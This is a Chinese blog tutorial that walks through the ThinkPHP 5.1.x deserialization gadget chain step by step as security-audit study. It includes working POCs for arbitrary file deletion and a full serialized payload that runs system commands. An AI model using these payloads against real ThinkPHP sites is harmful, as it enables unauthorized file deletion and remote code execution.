ThinkPHP审计(2) Thinkphp反序列化链5.1.X原理分析&从0编写POC

ThinkPHP审计(2) Thinkphp反序列化链子5.1.X原理分析&从0编写POC

文章目录

  • ThinkPHP审计(2) Thinkphp反序列化链子5.1.X原理分析&从0编写POC
  • 动态调试环境配置
  • Thinkphp反序列化链5.1.X原理分析
    • 一.实现任意文件删除
    • 二.实现任意命令执行
      • 真正的难点
  • Thinkphp反序列化链5.1.x 编写 Poc
  • 汇总POC

动态调试环境配置

比较简洁的环境配置教程:
https://sn1per-ssd.github.io/2021/02/09/phpstudy-phpstorm-xdebug%E6%90%AD%E5%BB%BA%E6%9C%AC%E5%9C%B0%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83/

Thinkphp反序列化链5.1.X原理分析

原理分析仅仅是遵循前辈的已有的道路,而不是完全探究每一种链子所带来的情况和可能性

前提:存在反序列化的入口

  1. unserialize()
  2. phar反序列化
  3. session反序列化

__destruct/__wakeup可以作为PHP反序列链的入口
这里简单介绍一下__destruct垃圾回收机制与生命周期的含义
__destruct可以理解为PHP的垃圾回收机制,是每次对象执行结束后必须执行的内容,但是执行的先后顺序往往和反序列化的生命周期有关

例如:

<?php
class Test{
    public $name;
    public $age;
    public $string;
    // __construct:实例化对象时被调用.其作用是拿来初始化一些值。
    public function __construct($name, $age, $string){
        echo "__construct 初始化"."<br>";
    }
    // __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
    /*
     * 当对象销毁时会调用此方法
     * 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
     */
    function __destruct(){
       echo "__destruct 类执行完毕"."<br>";
    }
}
$test = new test("test",18, 'Test String');
echo '第二种执行完毕'.'<br>';



?>

image-20240406220859479

这里$test = new test("test",18, 'Test String');

对象被赋值给了$test变量,而不是直接的new test("test",18, 'Test String'); 传递给对象延长了对象的生命周期

所以是在echo '第二种执行完毕'.'<br>';执行后才执行了__destruct内容

类似的比如快速销毁(Fast-destruct)

<?php
class Test{
    public $name;
    public $age;
    public $string;
    // __construct:实例化对象时被调用.其作用是拿来初始化一些值。
    public function __construct($name, $age, $string){
        echo "__construct 初始化"."<br>";
    }
    // __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
    /*
     * 当对象销毁时会调用此方法
     * 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
     */
    function __destruct(){
       echo "__destruct 类执行完毕"."<br>";
    }
}

//主动销毁
$test = new Test("test",18, 'Test String');
unset($test);
echo '第一种执行完毕'.'<br>';
echo '----------------------<br>';



?>

image-20240406222646374

这里直接__construct后执行__destruct

因为unset — 清除指定变量直接销毁储存对象的变量,达到快速垃圾回收的目的

现在开始分析链子 Windows 类中__destruct执行了自身的removeFiles()方法

image-20240406223848195

跟进removeFiles

    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

image-20240406224229041

发现遍历$this->files,而且$this->files可控,作为数组传递

一.实现任意文件删除

@unlink($filename);删除了传递的filename

简单编写poc

<?php
namespace think\process\pipes;

use think\Process;
class Pipes{};

class Windows extends Pipes
{
	 
    private $files = ["D:\\flag.txt"];

	
}
$windows=new Windows();
echo(base64_encode(serialize($windows)));
?>

可以实现任意文件的的删除

image-20240406224903636

二.实现任意命令执行

除了任意文件删除,危害还可以更大吗?

通过POP链可以实现任意命令执行

image-20240406165716844

全局逻辑图

image-20240406165638396

    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

file_exists函数用于判断文件是否存在

预期传入 String $filename但是如果我们控制$filename作为一个对象,就可以隐形的调用类的__toString()方法

image-20240406225107568

thinkphp/library/think/model/concern/Conversion.php

public function __toString()
    {
        return $this->toJson();
    }
  public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }
public function toArray()
    {
        $item       = [];
        $hasVisible = false;

        foreach ($this->visible as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    list($relation, $name)      = explode('.', $val);
                    $this->visible[$relation][] = $name;
                } else {
                    $this->visible[$val] = true;
                    $hasVisible          = true;
                }
                unset($this->visible[$key]);
            }
        }

        foreach ($this->hidden as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    list($relation, $name)     = explode('.', $val);
                    $this->hidden[$relation][] = $name;
                } else {
                    $this->hidden[$val] = true;
                }
                unset($this->hidden[$key]);
            }
        }

        // 合并关联数据
        $data = array_merge($this->data, $this->relation);

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 关联模型对象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);
            }
        }

        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]
            foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]
                if (is_array($name)) {//$name=["whoami"]所以进入
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法
                        }
                    }

                    $item[$key] = $relation ? $relation->append($name)->toArray() : [];
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible([$attr]);
                        }
                    }

                    $item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
                } else {
                    $item[$name] = $this->getAttr($name, $item);
                }
            }
        }

        return $item;
    }

关键的几个判断和赋值

public function getRelation($name = null)
    {
        if (is_null($name)) {
            return $this->relation;
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        return;
    }
 if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]
            foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]
                if (is_array($name)) {//$name=["whoami"]所以进入
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法
                        }
                    }
public function getAttr($name, &$item = null)//此时$name = 上一层的$key = peanut
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }
public function getData($name = null)//$name = $key =peanut
    {
        if (is_null($name)) {
            return $this->data;
        } elseif (array_key_exists($name, $this->data)) {//poc中定义$this->data = ['peanut'=>new request()]
            return $this->data[$name];
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
    }

$relation->visible($name);$relation可控,可以实现任意类的visible方法,如果visible方法不存在,就会调用这个类的__call方法

如何达到$relation->visible($name); 触发点 访问

        if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]]
            foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]
                if (is_array($name)) {//$name=["whoami"]所以进入
  1. 保证$this->append不为空
  2. $this->append 数组的值$name为数组 也就是二维数组

比如传入append:["peanut"=>["whoami"]]

接着向下走

$relation = $this->getRelation($key);

                    if (!$relation) {
public function getRelation($name = null)
    {
        if (is_null($name)) {
            return $this->relation;
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        return;
    }

不会进入if/elseif中 直接return;回来 为null

if (!$relation)为空进入判断

 $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法
                        }
public function getAttr($name, &$item = null)//此时$name = 上一层的$key = peanut
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }

进入$this->getData

public function getData($name = null)//$name = $key =peanut
    {
        if (is_null($name)) {
            return $this->data;
        } elseif (array_key_exists($name, $this->data)) {//poc中定义$this->data = ['peanut'=>new request()]
            return $this->data[$name];
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
    }

判断了$this->data传递的键存在,如果存在,返回其数组对应的键值

比如可以控制$this->data = ['peanut'=>new request()]

 $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法
                        }

$relation->visible($name);$relation可控为任意类

现在寻找调用__call的类

thinkphp/library/think/Request.php

  public function __call($method, $args)
    {
        if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);
        }

        throw new Exception('method not exists:' . static::class . '->' . $method);
    }

这里存在敏感关键函数call_user_func_array

__call($method, $args)接受的参数`

$method固定是visible

$args是传递过来的$name

 if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);

可以控制$this->hook['visible']为任意值,可以控制函数名

call_user_func()的利用方式无非两种

__call_user_func($method, $args) __

call_user_func_array([ o b j , obj, obj,method], $args)

如果执行第一种方式call_user_func($method, $args)

但是这里array_unshift($args, $this); 参数插入$this作为第一个值

image-20240407001625248

参数是不能被正常命令识别的,不能直接RCE

那我们最终的利用点可以肯定并不是这里

如果选择第二种方式

call_user_func_array([$obj,$method], $args)

**通过调用 任意类 的 任意方法 **,可供选择的可能性更多

call_user_func_array([ o b j , " 任 意 方 法 " ] , [ obj,"任意方法"],[ obj,""],[this,任意参数])

也就是 o b j − > obj-> obj>func( t h i s , this, this,argv)

真正的难点

曲线救国的策略

难点理解:

__call魔术方法受到array_unshift无法可控触发call_user_func_array

利用_call调用isAjax类找可控变量再触发到filterValue里的call_user_func

为什么这里选RequestisAjax方法 接着POP链的调用了?

为什么当时的链子发现的作者会想到通过isAjax接着执行命令?

网上文章千篇一律,无非就是拿个poc动态调试,粘贴个poc就完了

Thinkphp反序列化漏洞 核心在于 逆向的思考 倒推

开发者不会傻乎乎写个system,shell_exec,exec等系统函数给你利用的可能

而我们又希望最终实现RCE的效果

我们最终应该更多关注于 不明显的回调函数或者匿名函数执行命令

比如call_user_func,call_user_func_array,array_map,array_filter...

thinkphp/library/think/Request.php

private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);

$filter , $value 可控

通过传递 $filter , $value实现任意命令执行

那么什么地方调用了filterValue?回溯调用filterValue的地方

image-20240407141514973

thinkphp/library/think/Request.phpinput调用

$this->filterValue($data, $name, $filter);

public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }

        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            }

            $data = $this->getData($data, $name);

            if (is_null($data)) {
                return $default;
            }

            if (is_object($data)) {
                return $data;
            }
        }

        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
                $this->arrayReset($data);
            }
        } else {
            $this->filterValue($data, $name, $filter); //调用点
        }

input()函数满足条件,但是在 input() 中会对 $name 进行强转 $name = (string) $name; 传入对象会直接报错,所以使用 ide 对其进行回溯,查找调用 input() 的方法

什么地方又调用了input函数? Request类中的param函数

image-20240407141815137

public function param($name = '', $default = null, $filter = '')
    {
        if (!$this->mergeParam) {
            $method = $this->method(true);

            // 自动获取请求变量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }

            // 当前请求参数和URL地址中的参数合并
            $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

            $this->mergeParam = true;
        }

        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

            return $this->input($data, '', $default, $filter);
        }

        return $this->input($this->param, $name, $default, $filter);
    }

什么地方又调用了param函数?

image-20240407142005524

是在thinkphp/library/think/Request.phpisAjax方法调用

public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH');
        $result = 'xmlhttprequest' == strtolower($value) ? true : false;

        if (true === $ajax) {
            return $result;
        }

        $result           = $this->param($this->config['var_ajax']) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }

我们可以控制$this->config['var_ajax']为任意值

通过 call_user_func(['object','method',['$this','args']]);

实现 跳转 Request类的isAjax方法

image-20240406165638396

至此实现整个链路的闭合

Thinkphp反序列化链5.1.x 编写 Poc

image-20240407143848950

我们开始编写Poc时可以以魔术方法作为每个部分的 分界点

因为魔术方法的实现 往往时 跨类

注意声明一下 命名空间

image-20240407144240558

image-20240407150126056

//__destruct->removeFiles->file_exists->
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
    private $files = [];
    function __construct(){
        $this->files=[new Pivot()];
    }
}

实现触发 new Pivot(任意类)的__toString魔术方法

触发thinkphp/library/think/model/concern/Conversion.php

image-20240407144729146

注意一下这里是trait Conversion

PHP 实现了一种代码复用的方法,称为 trait。

Trait 是为类似 PHP 的单继承语言而准备的一种代码复用机制。Trait 为了减少单继承语言的限制,使开发人员能够自由地在不同层次结构内独立的类中复用 method。Trait 和 Class 组合的语义定义了一种减少复杂性的方式,避免传统多继承和 Mixin 类相关典型问题。

Trait 和 Class 相似,但仅仅旨在用细粒度和一致的方式来组合功能。 无法通过 trait 自身来实例化。它为传统继承增加了水平特性的组合;也就是说,应用的几个 Class 之间不需要继承。

__toString->toJson->toArray->visible->

if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]
            foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]
                if (is_array($name)) {//$name=["whoami"]所以进入
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法
                        }
                    }

保证几个条件

  1. $this->append有值
  2. $this->append的键对应的值为数组
  3. $this->data存在同名key,value的值就就是 跳转的任意类的visible方法

image-20240407150142185

//__toString->toJson->toArray->visible->
namespace think;
abstract class Model{
    protected $append = [];
    private $data=[];
    function __construct(){
        $this->append=['coleak'=>['']];
        $this->data=['coleak'=>new Request()];
    }
}

//为后续集成类加载
namespace think\model;
use think\Model;
class Pivot extends Model{
}

可以实现跳转到Request类的_call方法

    public function __call($method, $args)
    {
        if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);
        }

image-20240407150244868

接下来进行跳转 call_user_func_array([new Request(),"isAjax"], $args)

$method一定是visible

因此可以控制$this->hook=['visible'=>[$this,'isAjax']];

跳转 Request类的isAjax方法

public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH');
        $result = 'xmlhttprequest' == strtolower($value) ? true : false;

        if (true === $ajax) {
            return $result;
        }

        $result           = $this->param($this->config['var_ajax']) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }

控制$this->config['var_ajax'])存在即可

调用$this->param函数

public function param($name = '', $default = null, $filter = '')
    {
        if (!$this->mergeParam) {
            $method = $this->method(true);

            // 自动获取请求变量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }

            // 当前请求参数和URL地址中的参数合并
            $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

            $this->mergeParam = true;
        }

        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

            return $this->input($data, '', $default, $filter);
        }

        return $this->input($this->param, $name, $default, $filter);
    }

这里直接初始化

$name = '', $default = null, $filter = ''

不进入第一个if判断

if (!$this->mergeParam)

控制protected $mergeParam = true;

其他条件无论执行与否,最后

return $this->input($this->param, $name, $default, $filter);

进入input函数

 public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }

        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            }

            $data = $this->getData($data, $name);

            if (is_null($data)) {
                return $default;
            }

            if (is_object($data)) {
                return $data;
            }
        }

        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

初始化默认$data = [], $name = '', $default = null, $filter = ''

一定会进入$this->filterValue($data, $name, $filter);

调用函数filterValue

    private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);

控制$filter作为系统命令

protected $filter;
$this->filter=['system'];

filterValue.value的值为第一个通过GET请求的值

可以控制&$value的值作为命令的参数

protected $param = ['calc'];
//protected $param = 'calc'也可以,走另一条执行路径

综合一下

image-20240407150244868

//__call->isAjax->param->input->filterValue->call_user_func
namespace think;
class Request{
    protected $hook = [];
    protected $filter;
    protected $mergeParam = true;
    protected $param = ['calc'];//protected $param = 'calc'也可以,走另一条执行路径
    protected $config = [
        'var_ajax'         => '',
    ];
    function __construct(){
        $this->hook=['visible'=>[$this,'isAjax']];
        $this->filter=['system'];
    }
}

汇总POC

<?php

//__call->isAjax->param->input->filterValue->call_user_func
namespace think;
class Request{
    protected $hook = [];
    protected $filter;
    protected $mergeParam = true;
    protected $param = ['calc'];//protected $param = 'calc'也可以,走另一条执行路径
    protected $config = [
        'var_ajax'         => '',
    ];
    function __construct(){
        $this->hook=['visible'=>[$this,'isAjax']];
        $this->filter=['system'];
    }
}

//__toString->toJson->toArray->visible->
namespace think;
abstract class Model{
    protected $append = [];
    private $data=[];
    function __construct(){
        $this->append=['coleak'=>['']];
        $this->data=['coleak'=>new Request()];
    }
}

//为后续集成类加载
namespace think\model;
use think\Model;
class Pivot extends Model{
}

//__destruct->removeFiles->file_exists->
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
    private $files = [];
    function __construct(){
        $this->files=[new Pivot()];
    }
}

echo base64_encode(serialize(new Windows()));
//按实际情况来决定如何处理序列化数据

image-20240407155602078

可以成功执行系统命令

本次链子涉及三个关键类

  1. Windows
  2. Conversion
  3. Request

可以浅浅记一下
可以调试看看具体的值

  • 28
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
thinkphp5.1完全开发手册.pdf是一本全面介绍了ThinkPHP 5.1框架开发的手册。ThinkPHP是一款相当流行的PHP开源框架,它具有良好的扩展性和易用性,适用于各种规模的Web应用开发。 这本开发手册详细介绍了ThinkPHP 5.1框架的使用方法和各种功能。首先,手册介绍了如何安装和配置ThinkPHP框架,包括服务器环境配置和数据库连接设置。然后,手册详细讲解了ThinkPHP框架的MVC架构,包括控制器、模型和视图的使用方法和关系。 接下来,手册针对常用的功能模块进行了深入的讲解。比如,数据库操作模块介绍了如何使用ThinkPHP的ORM功能进行数据库的增删改查操作。表单验证模块介绍了如何使用ThinkPHP的验证器进行数据验证。文件上传、缓存、日志记录等功能由浅入深地讲解了使用方法。 此外,手册还介绍了ThinkPHP框架的路由、中间件、事件和插件等高级功能,以及如何进行单元测试和异常处理。 这本手册的优点是系统完整地介绍了ThinkPHP 5.1框架的各种功能和用法,对于初学者来说非常友好。而对于有一定经验的开发者来说,手册也提供了足够的细节和实例,帮助他们了解和应用框架更高级的特性。 总而言之,thinkphp5.1完全开发手册.pdf是一本全面详细的ThinkPHP 5.1框架开发指南,既适合初学者入门,又适合有经验的开发者查漏补缺,是学习和使用ThinkPHP框架的重要参考资料。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值